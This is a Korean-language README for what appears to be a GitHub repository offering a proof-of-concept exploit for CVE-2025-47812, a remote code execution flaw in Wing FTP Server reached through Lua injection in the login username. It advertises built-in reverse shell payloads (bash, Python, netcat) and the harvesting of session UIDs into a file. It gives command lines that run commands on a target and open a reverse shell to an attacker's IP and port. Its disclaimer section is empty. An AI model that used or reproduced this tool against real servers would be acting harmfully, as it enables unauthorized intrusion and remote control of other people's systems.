CVE-2025-47812 - Wing FTP Server RCE 익스플로잇

이 저장소는 CVE-2025-47812에 대한 개념 증명 익스플로잇을 제공합니다. 이는 Wing FTP Server의 원격 명령 실행(RCE) 취약점입니다. 공격자는 인증 중 username 매개변수를 악용하여 임의의 Lua 기반 시스템 명령을 주입하고 실행할 수 있으며, 이로 인해 완전한 원격 코드 실행이 가능합니다.

📌 익스플로잇 기능

🔧 사용자 정의 셸 명령의 원격 실행
🧬 다양한 내장 리버스 셸 페이로드 (bash, Python, netcat 등)
🪪 Set-Cookie에서 자동 UID 추출
📦 성공한 UID를 found_uids.txt에 기록
🧪 드라이런 모드 (실제 요청을 보내지 않음 — 입출력 로직을 안전하게 테스트)
🔁 네트워크 실패 시 재시도 로직
🧹 더 깔끔한 페이로드 포맷팅 및 읽기 쉬운 출력
✅ IP, 포트, URL에 대한 입력 검증
⚙️ 자동화 워크플로를 위한 명령줄 인수 지원

💻 사용법

간단한 셸 명령 실행:

python3 CVE-2025-47812.py --url http://target:5466 --cmd "id"

리버스 셸 트리거:

python3 CVE-2025-47812.py --url http://target:5466 --reverse --ip YOUR_IP --port 4444

기능/개선 사항	설명
✅ 인수 파싱	비대화형 모드를 위한 `argparse` CLI 지원 추가
🔐 입력 검증	익스플로잇 시도 전 URL/IP/포트 유효성 확인
📦 헤더 리팩토링	일관성을 위해 HTTP 헤더를 재사용 가능한 함수로 추출
📄 UID 로깅	성공한 UID 토큰을 `found_uids.txt`에 저장
🧪 드라이런 모드	요청을 보내지 않고 안전하게 테스트 가능 (`--dry-run`)
🕒 타임아웃 및 재시도	요청 타임아웃 및 실패 시 자동 재시도 추가
🧼 페이로드 가독성 향상	Lua 인젝션 문자열을 명확성과 유지보수성을 위해 재구성
📊 구조화된 출력	서버 응답과 페이로드 정보를 구분자로 감싸서 쉽게 읽을 수 있도록 함
⚠️ 상태 코드 확인	대상이 예상치 못한 HTTP 상태 코드를 반환할 경우 사용자에게 경고
📝 로깅 시스템	`print()` 대신 Python `logging` 모듈을 사용하여 가독성 제어 개선

WingFTP-CVE-2025-47812-illdeed

인기

🔄 원본 익스플로잇에 대한 변경 사항

⚠️ 면책 조항